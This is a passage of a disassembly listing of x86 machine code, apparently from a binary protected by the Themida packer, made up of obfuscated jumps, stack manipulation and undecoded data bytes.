		jmp	loc_56F5CE
; ---------------------------------------------------------------------------
aTSpp		db 'T^И▐▐',0
		dd 3CC38100h, 89F6013Bh, 6FEE9DEh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56907E:				; CODE XREF: Themida_:005602EDj
		push	ebx
		mov	ebx, 0A21156Eh
		dec	ebx
		push	4406h
		jmp	loc_563B5C
; ---------------------------------------------------------------------------
		db 81h
		dd 86769C2h, 0E8C28140h, 817F330Ah, 4D159FF2h, 3EC2813Ch
		dd 106FB1Dh, 0C7835AD7h, 243C3304h, 0E9243C31h,	0FFFFA694h
		dd 7025EE81h, 0FE2964D1h, 7025C681h, 505F64D1h,	6CECBF57h
		dd 0EF8100ADh, 4B0A618Dh, 0FF731EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5690D9:				; CODE XREF: Themida_:005616F3j
		pop	esi
		xchg	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_568DC4
; ---------------------------------------------------------------------------
aXhQ		db 'XhгQ',0
		dw 0E900h
		dd 7C6h
; ---------------------------------------------------------------------------


loc_5690F0:				; CODE XREF: Themida_:005712F8j
		sub	ecx, edx
		pop	edx
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_55DE2C
; ---------------------------------------------------------------------------
aFxaiu		db ',',27h,'(цfX─КЦ',0
		db 0C3h
		dd 8904EC83h, 92B42404h, 0FE27F480h, 80DCF6C4h,	0D4F6DAE4h
		dd 2EC480h, 24048BE3h, 4C481h, 0DBE90000h, 89FFFFBDh, 67E92404h
		db 0F8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56913B:				; CODE XREF: Themida_:00561BEBj
		add	esp, 4
		jmp	loc_5700FC
; ---------------------------------------------------------------------------
		dw 4BEh
		dd 0E9000000h, 141Ch, 2D24248Bh, 74857B8Fh, 16A2E9h, 241C3100h
		dd 8B241C33h, 3CD32424h, 7EE99C24h
		db 41h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56916F:				; CODE XREF: Themida_:00564CB5j
		and	ecx, edx
		mov	edx, [esp]
		add	esp, 4
		shr	ecx, 7
		push	1296h
		mov	[esp], ebx
		push	esi
		push	662h
		mov	[esp], ecx
		push	3EE533A1h
		pop	ecx
		shr	ecx, 4
		push	edx
		push	eax
		push	619A654Eh
		pop	eax
		sub	eax, 2489584Fh
		xor	eax, 47A075D3h
		sub	eax, 451C718h
		mov	edx, eax
		pop	eax
		add	ecx, edx
		jmp	loc_56F950
; ---------------------------------------------------------------------------
		dd 5EF1095Dh, 2731BD55h, 0A8E939E3h, 1FFFFAAh, 685652E8h
		dd 75741746h, 3DE94E5Eh, 87000094h, 895C2404h, 0C9E9242Ch
		dd 83FFFF54h, 3C8904ECh, 464FBF24h, 0BB530DA2h,	7301661Eh
		dd 815BDF29h, 79524BF7h, 86BEE902h, 3C8BFFFFh, 18CDE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56920A:				; CODE XREF: Themida_:00570EA5j
		push	ecx
		mov	ecx, ebp
		mov	esi, ecx
		mov	ecx, [esp]
		add	esp, 4
		pop	ebp
		push	53F3h
		mov	[esp], edi
		jmp	loc_56D816
; ---------------------------------------------------------------------------
		dw 0F280h
		dd 80CAFE1Fh, 0DA8688EAh, 2414F653h, 35E9505Bh,	5E000049h
		dd 1AEB8166h, 0DA016628h, 5597E95Bh, 0F2010000h, 0D0C281h
		dd 875E1170h, 248B2414h, 4FF6624h, 8AE99C24h, 0F7FFFF40h
		dd 241C31D3h, 31241C33h, 0EFE9241Ch, 83FFFFCDh,	1C3302C3h
		dd 241C3124h, 0FFE27FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_569281:				; CODE XREF: Themida_:0056CE75j
		pop	ebx
		sub	ebx, ecx
		jmp	loc_568535
; ---------------------------------------------------------------------------
		db 80h,	0F5h, 5Bh
		dd 52531E2Ch, 7776E9h, 0BB535F00h, 59D91C4Fh, 0C15BD801h
		dd 762D03E8h, 29FCEAF2h, 84C7E9C5h, 0EB81FFFFh,	0ED54CD18h
		dd 595BDD01h, 0F75DE809h, 1FC2DD0h, 0C381F22Eh,	72E34957h
		dd 5857E9h
		db 0
; ---------------------------------------------------------------------------


loc_5692CD:				; CODE XREF: Themida_:00566365j
		pop	ebx
		pop	edi
		sub	edx, 1B2E774Fh
		sub	edx, ebx
		add	edx, 1B2E774Fh
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		add	ebp, edx
		mov	edx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		push	eax
		mov	eax, 4
		add	edx, eax
		jmp	loc_560EAB
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0EC81241Ch, 4, 89241C89h, 0ABB951E3h, 81450310h, 310AFF1h
		dd 8BCB0145h, 0C483240Ch, 35B1E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_569326:				; CODE XREF: Themida_:0056B49Dj
		add	ebp, 3E486F79h
		sub	ebp, 9EBE2571h
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 1A551945h
		jmp	loc_5670A6
; ---------------------------------------------------------------------------


loc_569345:				; CODE XREF: Themida_:00562364j
		mov	eax, [esp]
		push	52C1h
		mov	[esp], edx
		mov	edx, esp
		jmp	loc_56E76A
; ---------------------------------------------------------------------------
		db 35h
		dd 71813B2Eh, 4EC81h, 0C890000h, 3FBFE924h, 0EE81FFFFh
		dd 0D2BDA977h, 0CCE9F089h
		db 0BCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_569377:				; CODE XREF: Themida_:005641DFj
		mov	edx, [esp]
		push	edi
		jmp	loc_567539
; ---------------------------------------------------------------------------


loc_569380:				; CODE XREF: Themida_:005722E2j
		pop	ecx
		add	eax, 1
		sub	eax, 84064EFFh
		sub	ebx, eax
		pop	eax
		add	ecx, ebx
		mov	ebx, [esp]
		add	esp, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		push	edx
		jmp	loc_570FB6
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 582434FFh, 0FFE7B8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5693B1:				; CODE XREF: Themida_:00568389j
		xor	dword ptr [esp], 231C5702h
		pop	esi
		xor	esi, 231C5702h
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		sub	esi, 1
		push	eax
		mov	eax, 2AA7349Fh
		and	esi, eax
		pop	eax
		sub	esi, 1
		dec	esi
		sub	esi, 22820E80h
		and	eax, esi
		push	dword ptr [esp]
		jmp	loc_5704D2
; ---------------------------------------------------------------------------
		dd 53241489h, 0C381E389h, 4, 4EB81h, 1C870000h,	0F7E95C24h
		db 5Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_569407:				; CODE XREF: Themida_:005647C5j
		pop	ecx
		mov	edx, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		push	esi
		push	7974h
		mov	[esp], edi
		jmp	loc_55E7B0
; ---------------------------------------------------------------------------


loc_569426:				; CODE XREF: Themida_:00560086j
		mov	ebx, [esp]
		add	esp, 4
		add	ebx, 50EC50ACh
		jmp	loc_56C60E
; ---------------------------------------------------------------------------


loc_569437:				; CODE XREF: Themida_:0056204Fj
		xchg	ebp, [esp]
		jmp	loc_5672F1
; ---------------------------------------------------------------------------


loc_56943F:				; CODE XREF: Themida_:005674ECj
		mov	esi, 26465B96h
		sub	esi, 0CC30090Bh
		add	ecx, 4AF859D0h
		sub	ecx, esi
		push	ebp
		jmp	loc_571299
; ---------------------------------------------------------------------------
		dd 46B3E381h, 4683267h,	89000042h, 0ABE92434h, 81FFFFCEh
		dd 4C4h, 0EDE8E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_569476:				; CODE XREF: Themida_:0057148Ej
		and	eax, edx
		mov	edx, [esp]
		push	eax
		push	esp
		pop	eax
		jmp	loc_569650
; ---------------------------------------------------------------------------
		db 68h
		dd 1272h, 0E9240C89h, 2FFDh
; ---------------------------------------------------------------------------


loc_569490:				; CODE XREF: Themida_:0056799Ej
		mov	ecx, 72DA10C3h
		mov	ebx, ecx
		mov	ecx, [esp]
		push	edx
		jmp	loc_56FAB2
; ---------------------------------------------------------------------------
		dd 50076852h, 148B4582h, 4C48324h, 0F281D2F7h, 8A77B94Dh
		dd 515AD389h, 112E77B9h, 8BCB214Bh, 7E9240Ch
		db 5Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5694C7:				; CODE XREF: Themida_:0056390Bj
		push	edx
		mov	edx, 1D265EAh
		shr	edx, 3
		or	edx, 3FCF003Ah
		xor	edx, 572E2521h
		not	edx
		sub	edx, 0C12FA551h
		sub	esi, edx
		pop	edx
		push	ebx
		push	esi
		mov	esi, 0
		jmp	loc_564242
; ---------------------------------------------------------------------------
		db 1
		dd 58042444h, 57241C8Bh, 0F6E9E789h, 0BFFFFF99h, 14EF1070h
		dd 34FFFB01h, 89505F24h, 0CA82E9E0h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_569516:				; CODE XREF: Themida_:00569F84j
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		mov	[esp], eax
		mov	ah, 0D9h
		push	3C46h
		mov	[esp], ecx
		push	edx
		push	ecx
		mov	cl, ah
		push	ebx
		mov	bl, cl
		mov	dh, bl
		jmp	loc_565E72
; ---------------------------------------------------------------------------
		db 83h
		dd 0BE5604C4h, 614374E0h, 8146DEF7h, 0FFFFFFEEh, 0DC681FFh
		dd 0D12FEE09h, 6A3DE9E6h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_569562:				; CODE XREF: Themida_:00561477j
		mov	[esp], ebx
		mov	ebx, 41F24904h
		xor	ebx, 7670B55h
		dec	ebx
		xor	ebx, 43A0137Eh
		add	ebx, 2CD368D9h
		jmp	loc_5681E9
; ---------------------------------------------------------------------------
aEtWs		db '╧;E▓',0Dh,'WИ',0
		db '*',0
		db 0
; ---------------------------------------------------------------------------


loc_56958D:				; CODE XREF: Themida_:00567167j
		pop	edx
		pop	ecx
		mov	esi, [esp]
		add	esp, 4
		sub	ecx, 6CC31667h
		add	ecx, ebp
		push	edi
		mov	edi, 6CC31667h
		jmp	loc_57159A
; ---------------------------------------------------------------------------
		db 87h
		dd 248B2414h, 24D36624h, 0F8E99C24h, 83FFFFD9h,	895004C4h
		dd 405E0h, 4050000h, 87000000h,	565C2404h, 91AB4BEh, 0ACEEE901h
		dd 0E581FFFFh, 50317E65h, 2DBD5550h, 0E909EF5Bh, 5325h
; ---------------------------------------------------------------------------


loc_5695EC:				; CODE XREF: Themida_:0055EC10j
		xor	edi, ebx
		jmp	loc_55ECAA
; ---------------------------------------------------------------------------
		db 66h
		dd 0E9240C8Bh, 0FFFFF517h, 8904EC83h, 0E955240Ch, 68D3h
		dd 4EC81h, 24890000h, 24048324h, 0BAF6E904h, 0C138FFFFh
		dd 3CCBE99Ch, 0EE81FFFFh, 2A43684h, 875EF001h, 0B7E92404h
		dd 80FFFFE1h, 0F3002DEBh, 7773E9h, 24048700h, 0E7D0E95Ch
		dd 94B9FFFFh, 0E9C0F954h, 0FFFFDBB4h
; ---------------------------------------------------------------------------


loc_569650:				; CODE XREF: Themida_:0056947Ej
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_568F6B
; ---------------------------------------------------------------------------
		dw 815Bh
		dd 5422A6C6h, 0BDBB5365h, 29DBEA81h, 0F5295BDEh, 4741E9h
		db 0
; ---------------------------------------------------------------------------


loc_569675:				; CODE XREF: Themida_:0055D349j
		add	esi, 73159F8h
		xor	esi, 1CD88419h
		sub	[esp+4], esi
		pop	esi
		pop	ecx
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_56C4B9
; ---------------------------------------------------------------------------
		db 0B4h, 0CEh, 0C0h
		dd 536602E4h, 0FC20ADB7h, 241C8B66h, 7AF2E9h, 0F7579700h
		dd 975F2414h, 5052D0F7h, 0A038768h, 1A05584Ah, 0E9717F76h
		dd 2FFDh, 8324148Bh, 0C48304C4h, 1284E904h, 0B8500000h
		dd 406F18D8h, 0DC922B35h, 58C3298Fh, 3899EA81h,	0DA015D88h
		dd 3899C281h, 875B5D88h, 0E95C2414h, 60CDh
; ---------------------------------------------------------------------------


loc_5696F8:				; CODE XREF: Themida_:00571CADj
		shl	ebp, 6
		sub	ebp, 31C30AF1h
		jmp	loc_567B5C
; ---------------------------------------------------------------------------
		dw 0E2E9h
		dd 89FFFF3Bh, 5EF089EEh, 0FF8433E9h, 0C1C181FFh, 2930266Ch
		dd 240C8BCFh, 4C481h, 0D7680000h, 8900004Ah, 83E92414h
		dd 0E900006Fh, 0FFFF3BB5h, 0FF3BB0E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56973D:				; CODE XREF: Themida_:00566C5Ej
		inc	edi
		jmp	loc_56B512
; ---------------------------------------------------------------------------
		db 0C1h
		dd 7E2D02E0h, 5704614h,	67A8EF36h, 0BCE9C329h, 0C1000066h
		dd 8EE902EDh, 81FFFFB6h, 34AC22EBh, 5BD829B1h, 16D3EB81h
		dd 0C38141D6h, 4F2815F0h, 0E951C329h, 8F1Dh, 0E0EE815Bh
		dd 815B4216h, 52E6A2C6h, 33062D49h, 0F0017083h,	3495BF57h
		dd 0E7814E88h, 762E1E8Bh, 7EFC147h, 5DF78147h, 0E90F545Eh
		dd 6C8Fh
; ---------------------------------------------------------------------------


loc_5697AC:				; CODE XREF: Themida_:0056C249j
		xor	esi, ebx
		pop	ebx
		mov	edx, esi
		pop	esi
		push	edx
		push	3CF13C85h
		jmp	loc_5638D9
; ---------------------------------------------------------------------------
		db 0BDh, 0F4h, 6Ch
aA@slv		db 'М@И▀v',0
		db 0
; ---------------------------------------------------------------------------


loc_5697C7:				; CODE XREF: Themida_:0056384Cj
		or	ebp, edi
		pop	edi
		jmp	loc_5683D5
; ---------------------------------------------------------------------------
		db 5Dh
		dd 0CBE9DE21h
		db 0A9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5697D7:				; CODE XREF: Themida_:0056BFF7j
		mov	bh, ch
		pop	ecx
		xor	al, bh
		mov	bx, [esp]
		sub	esp, 4
		mov	[esp], eax
		push	esp
		jmp	loc_564C9E
; ---------------------------------------------------------------------------
		db 0FFh
		dd 0E95E2434h, 190Eh, 0FF04C483h, 0C8B2434h, 4C48324h
		dd 4C481h, 57500000h, 32556853h, 0FFE90782h, 0F000032h
		dd 8F66C0B6h, 71E98704h, 50FFFFF1h, 2434FF5Dh, 4C48358h
		dd 2C8BEB31h, 4C48324h,	4CADBE56h, 0C38113F9h, 2492569Dh
		dd 0FFF37CE9h, 241487FFh, 8924248Bh, 4CE92404h,	29000037h
		dd 0C3815AD3h, 100E4ED5h, 3FA2E9h, 241C8B00h, 8104C483h
		dd 0A61E6FEAh, 0E9D50141h, 5A00h
; ---------------------------------------------------------------------------


loc_569874:				; CODE XREF: Themida_:0056863Fj
		mov	ebx, [esp]
		jmp	loc_56F504
; ---------------------------------------------------------------------------


loc_56987C:				; CODE XREF: Themida_:0056A2BBj
		pop	esp
		jmp	loc_55D898
; ---------------------------------------------------------------------------
		dw 8166h
		dd 66110AEAh, 6283C281h, 66FA2966h, 6283EA81h, 0BE665653h
		dd 91E95180h
		db 8Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56989F:				; CODE XREF: Themida_:0055DC1Aj
		sub	ebx, 57DF463Eh
		pop	eax
		jmp	loc_569C1C
; ---------------------------------------------------------------------------
		db 81h
		dd 4C7h, 0A140E900h, 489FFFFh, 0E613E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5698BE:				; CODE XREF: Themida_:0056CE4Fj
		pop	edi
		shr	ecx, 1
		jmp	loc_566599
; ---------------------------------------------------------------------------
		dw 0F729h
		dd 243C875Eh, 2424895Ch, 4240481h, 5F000000h, 0FF8247E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5698DD:				; CODE XREF: Themida_:0056020Ej
		push	eax
		jmp	loc_55E525
; ---------------------------------------------------------------------------
		db 29h
		dd 7535E9F7h, 0BB530000h, 3B046E92h, 4A71E9h, 5EF78900h
		dd 5752EF81h, 0C7017D6Ch, 5752BA52h, 0D7017D6Ch, 2434FF5Ah
		dd 582434FFh, 0D00E9h
		db 0
; ---------------------------------------------------------------------------


loc_569915:				; CODE XREF: Themida_:0055D6CDj
		push	444Ch
		mov	[esp], ebp
		push	4580h
		jmp	loc_56AC1A
; ---------------------------------------------------------------------------
		db 0C0h
		dd 0CBFE07EBh, 801AE380h, 0DE301AF3h, 3BFAE9h
		db 0
; ---------------------------------------------------------------------------


loc_569939:				; CODE XREF: Themida_:00564587j
		mov	edx, 347B121Dh
		mov	ebp, 2C974F40h
		xor	ebp, edx
		jmp	loc_568009
; ---------------------------------------------------------------------------
		dw 2489h
		dd 24048124h, 4, 4C5815Dh, 81000000h, 4C5h, 4EC8300h, 0FF242C89h
		dd 8B042474h, 0C481242Ch, 4, 8B24048Fh,	0C1812424h, 4
		dd 1BF768h, 241C8900h, 4BBh, 4290E900h,	3B90000h, 0E92FF845h
		dd 16EAh, 0E9290458h, 2856h
; ---------------------------------------------------------------------------


loc_5699A4:				; CODE XREF: Themida_:0055FD48j
		pop	ebp
		xor	edx, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_567D84
; ---------------------------------------------------------------------------
		db 29h,	0D0h, 5Ah
		dd 8158C701h, 5264E9C7h, 8BFB2979h, 0C483243Ch,	0F4F38104h
		dd 892AED6Ch, 0E6815BDEh, 58811C28h, 3C25C681h,	0A6E913D6h
		db 5, 2	dup(0)
; ---------------------------------------------------------------------------


loc_5699E3:				; CODE XREF: Themida_:00568DAEj
		sub	dword ptr [esp], 57294716h
		mov	eax, [esp]
		push	5952h
		mov	[esp], edi
		push	esp
		pop	edi
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		jmp	loc_571CC3
; ---------------------------------------------------------------------------
		dw 515Ah
		dd 0FF72BFE9h, 4EBFBFFFh, 0FA0107BDh, 0E9243C8Bh, 0FFFF6748h
; ---------------------------------------------------------------------------


loc_569A24:				; CODE XREF: Themida_:00563711j
		sub	edx, 33384Dh
		sub	esi, edx
		mov	edx, [esp]
		add	esp, 4
		neg	esi
		push	edi
		mov	edi, 0
		add	edi, 62E878BEh
		sub	edi, 0AAC1969h
		sub	edi, esi
		push	ebp
		mov	ebp, 0AAC1969h
		add	edi, ebp
		pop	ebp
		jmp	loc_57299B
; ---------------------------------------------------------------------------
		dw 0EC83h
		dd 241C8904h, 4BBh, 0EDC28100h,	817A1C0Fh, 2B5F69EAh, 0DE33E971h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_569A72:				; CODE XREF: Themida_:0056D172j
		mov	edi, 6A9F12CAh
		add	[esp+8], edi
		jmp	loc_56CD49
; ---------------------------------------------------------------------------
		dd 4C08B951h
		db 2Ah,	57h, 49h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_55EAFE
; ---------------------------------------------------------------------------
		db 87h
		dd 895C2434h, 0C9682414h, 8900003Ah, 4832424h, 835A0424h
		dd 2C8904ECh, 0E9505624h, 528Ah, 44A5EE81h, 0F2016396h
		dd 1AE9535Eh, 5FFFFF7Dh, 0E9C28952h, 4F5Dh, 83B204ACh
		dd 148904ECh, 5109B624h, 0ED8084B5h, 70A7E9D1h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_569ADE:				; CODE XREF: Themida_:00570AA4j
		mov	[esp], eax
		push	ecx
		mov	ecx, 30A247B7h
		mov	eax, 6F3B17ACh
		xor	eax, ecx
		pop	ecx
		add	edi, eax
		pop	eax
		add	edi, ebp
		sub	edi, 5F99501Bh
		mov	ebp, [esp]
		jmp	loc_56676F
; ---------------------------------------------------------------------------
		dw 0D529h
		dd 0FFC88FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_569B09:				; CODE XREF: Themida_:00565A0Cj
		pop	eax
		add	dl, cl
		jmp	loc_562054
; ---------------------------------------------------------------------------


loc_569B11:				; CODE XREF: Themida_:0056AC8Bj
		sub	edx, 278F7C4Ah
		mov	edi, edx
		pop	edx
		jmp	loc_561C27
; ---------------------------------------------------------------------------


loc_569B1F:				; CODE XREF: Themida_:005635F9j
		mov	[esp], edx
		mov	edx, 4BE02824h
		neg	edx
		push	ecx
		jmp	loc_5607DA
; ---------------------------------------------------------------------------


loc_569B2F:				; CODE XREF: Themida_:00563492j
		pop	ebx
		and	eax, esi
		push	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		add	esp, 4
		jmp	loc_5605A0
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 0D0E95824h, 0C0FFFF51h, 0EAC007EAh, 0CF28007h, 148BD008h
		dd 4C48324h, 0C3005604h, 0BEC38058h, 0EB80D300h, 33EB80BEh
		dd 8124148Bh, 4C4h, 0C0B60F00h,	6887048Dh, 2B38h, 0E9240489h
		dd 0FFFF3761h, 66CFE956h, 0CF01FFFFh, 0B9E5E959h, 815EFFFFh
		dd 4C4h, 4C68100h, 83000000h, 0EC8302C6h, 6DE0E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_569BB2:				; CODE XREF: Themida_:0056A1DAj
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_571E5A
; ---------------------------------------------------------------------------


loc_569BC6:				; CODE XREF: Themida_:0055E496j
		pop	eax
		xor	ebp, edi
		mov	edi, [esp]
		sub	esp, 4
		mov	[esp], ebp
		push	esp
		pop	ebp
		push	edi
		mov	edi, 4
		jmp	loc_56F78C
; ---------------------------------------------------------------------------


loc_569BE2:				; CODE XREF: Themida_:00565165j
		pop	eax
		xor	esi, 0F52D8BFDh
		jmp	loc_560AD0
; ---------------------------------------------------------------------------
		dw 3C8Bh
		dd 4C48124h, 81000000h,	4C2h, 24148700h, 57D1E95Ch, 94B8FFFFh
		dd 40074328h, 43289135h, 58C30107h, 0E904C383h,	8D68h
; ---------------------------------------------------------------------------


loc_569C1C:				; CODE XREF: Themida_:005698A6j
		shr	ebx, 6
		jmp	loc_56D4B8
; ---------------------------------------------------------------------------
		dd 64E468h, 722D6800h, 0C890000h, 81E18924h, 4C1h, 0BE7DE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_569C3E:				; CODE XREF: Themida_:0055DE5Dj
		mov	ebx, esp
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 7CEB0A18h
		shl	esi, 6
		sub	esi, 3AC285FCh
		add	ebx, esi
		pop	esi
		sub	ebx, 4
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		jmp	loc_56E072
; ---------------------------------------------------------------------------
		dd offset dword_43AE68+400h
		dd 24348900h, 16EB6853h, 815B1A85h, 7AE917C3h, 2C8153E5h
		dd 0BE182E24h, 0D6BEE95Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_569C8A:				; CODE XREF: Themida_:00564EC8j
		push	esp
		pop	ebp
		add	ebp, 4
		push	ebx
		mov	ebx, 4
		add	ebp, 7DBD3F7Ch
		add	ebp, ebx
		jmp	loc_562AB4
; ---------------------------------------------------------------------------
		db 40h,	5, 1Ch
aIafhLbpLTtrssb	db '╗²fH%лlbp',0Dh,'l{TTRИ≥b',0
		align 4


loc_569CBC:				; CODE XREF: Themida_:0056D8C2j
		add	al, 48h
		jmp	loc_565A55
; ---------------------------------------------------------------------------
		db 0ADh
		dd 2A41662Dh, 0F42D66h,	0D8016C7Dh, 7D00F405h, 0E089506Ch
		dd 405h, 4E88300h, 0E9240487h, 0FFFFA7BDh, 0D6E943B3h
		dd 0BF00008Ah, 478A389Ah, 1686E781h, 0E7D17D51h, 6486E781h
		dd 76E94DCAh, 8BFFFF52h, 0C483242Ch, 0FF575B04h, 0E9042474h
		dd 3D06h, 0E95DEA89h, 3505h, 8BCA315Eh,	0C481240Ch, 4
		dd 34FFD689h, 0C4815A24h, 4, 6F67E9h, 45DDF700h, 0FFA6C0E9h
		dd 0C4E957FFh, 8300005Fh, 46E904C4h, 52000080h,	0F7295A5Eh
		dd 4EC835Eh, 0E9243C89h, 0FFFFB1E6h, 1CCABF57h,	0E3E96638h
		dd 83000065h, 248904ECh, 24048124h, 4, 4E3AE959h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_569D82:				; CODE XREF: Themida_:0056DE83j
		push	esi
		jmp	loc_56A76B
; ---------------------------------------------------------------------------
		dd 4BB53h, 8C680000h, 89000015h, 2CE9242Ch, 0FFFFFFB9h
		dd 354BE932h, 8B66FFFFh, 8356240Ch, 37E904ECh, 81FFFF55h
		dd 4C7h, 243C8700h, 0FFCF34E9h,	48B5AFFh, 4C48124h, 51000000h
		dd 0CB2880B1h, 23B65259h, 5088F680h, 0A2E930B4h, 55FFFFBDh
		dd 5404EC83h, 8124048Fh, 42404h, 2C8B0000h, 4C48324h, 50685253h
		dd 5A24D25Bh, 0F708E2C1h, 0DCE281DAh, 810E4371h, 3004F2h
		dd 0E9D3890Ch, 8BEEh, 7156BA52h, 0EAC1352Ah, 81DAF703h
		dd 0B65B4CC2h, 0C6EA817Ch, 81198E7Ah, 4A7F56E2h, 92BB537Dh
		dd 812FBC67h, 0AC540DEBh, 5BDA091Fh, 0FFC7C0E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_569E41:				; CODE XREF: Themida_:0056A5FCj
		push	eax
		mov	edx, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	eax
		jmp	loc_5641A8
; ---------------------------------------------------------------------------
		dd 0C381EB01h, 40C5566Ch, 74FF535Dh, 0F8E90424h, 81000007h
		dd 4ECh, 24048900h, 0E215AA68h,	48A6E905h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_569E7A:				; CODE XREF: Themida_:00568659j
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------
aYxh@		db 'YXhл@',0
		align 2
		dw 1C89h
		dd 7BD2BB24h, 0CB8149C0h, 3D797695h, 802D6857h,	0E95F8206h
		dd 0FFFFB02Dh
; ---------------------------------------------------------------------------


loc_569EA0:				; CODE XREF: Themida_:005689E6j
		mov	eax, 73B2CC4h
		not	eax
		not	eax
		shl	eax, 7
		neg	eax
		xor	eax, 74314A87h
		add	eax, 753139F3h
		sub	esi, eax
		jmp	loc_566929
; ---------------------------------------------------------------------------
		align 10h
		dd 290368D8h, 1C890000h, 536EB324h, 5B2414F6h, 0C3FED3F6h
		dd 284CF380h, 241C8BD8h, 0FFE793E9h, 87595FFFh,	248B242Ch
		dd 24042024h, 33FBE99Ch, 0E589FFFFh, 4BF57h, 0FD010000h
		dd 4ED835Fh, 5C242C87h,	81241C89h, 4ECh, 24248900h, 3F0AE9h
		dd 0EEC14600h, 4761E902h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_569F1E:				; CODE XREF: Themida_:005638D4j
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		pop	dword ptr [esp]
		mov	esp, [esp]
		and	eax, esi
		mov	esi, [esp]
		add	esp, 4
		shr	eax, 12h
		jmp	loc_562706
; ---------------------------------------------------------------------------
		db 50h
		dd 4B8h, 58C10100h, 2474FF51h, 48F5904h, 69FFE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_569F5A:				; CODE XREF: Themida_:0055F25Dj
		add	edx, ecx
		pop	ecx
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_564EC6
; ---------------------------------------------------------------------------


loc_569F6B:				; CODE XREF: Themida_:0056BECCj
		mov	edi, 34651826h
		xor	edi, ebx
		pop	ebx
		add	ebp, edi
		pop	edi
		xchg	ebp, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], ebx
		push	eax
		jmp	loc_569516
; ---------------------------------------------------------------------------
		db 31h,	0F0h, 8Bh
		dd 0C4832434h, 0ECBD5504h, 562B39BFh, 3876BB53h, 88E97AAEh
		dd 81000057h, 0FA8561F5h, 0EA07E982h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_569FAE:				; CODE XREF: Themida_:00563B67j
		mov	edi, 527B53A0h
		sub	edi, 0FFFFFFFFh
		push	edx
		jmp	loc_5630F0
; ---------------------------------------------------------------------------


loc_569FBF:				; CODE XREF: Themida_:0056BF36j
		push	534E4A7Eh
		jmp	loc_5711C3
; ---------------------------------------------------------------------------
		db 66h,	68h, 2
		dd 0C8B663Ah, 2C48124h,	66000000h, 4816651h, 66FFFF24h
		dd 57240C8Bh, 8E1E9h, 2E28100h,	8136DD7Dh, 243469F2h, 5AD78972h
		dd 0FF5FC3E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_569FFD:				; CODE XREF: Themida_:005610DAj
		push	4933h
		mov	[esp], esi
		push	ecx
		mov	ecx, 5C76CE0h
		jmp	loc_55E534
; ---------------------------------------------------------------------------
		dd 27E9D8F6h, 89000010h, 96E92404h, 89FFFF87h, 0E8C15DE8h
		dd 12D05h, 0E9570000h, 218Ah, 24048B66h, 0FF706BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56A039:				; CODE XREF: Themida_:00565068j
		push	esp
		mov	edx, [esp]
		add	esp, 4
		add	edx, 4
		push	eax
		mov	eax, 7DAD169Eh
		jmp	loc_564ACB
; ---------------------------------------------------------------------------
		db 5Bh,	81h, 0EEh
		dd 208370C3h, 0C681FE01h, 208370C3h, 81243C8Bh,	4C4h, 6284E900h
		dd 4F21FFFFh, 67BDE91Ch, 0D8F7FFFFh, 0BA04E997h, 0D568FFFFh
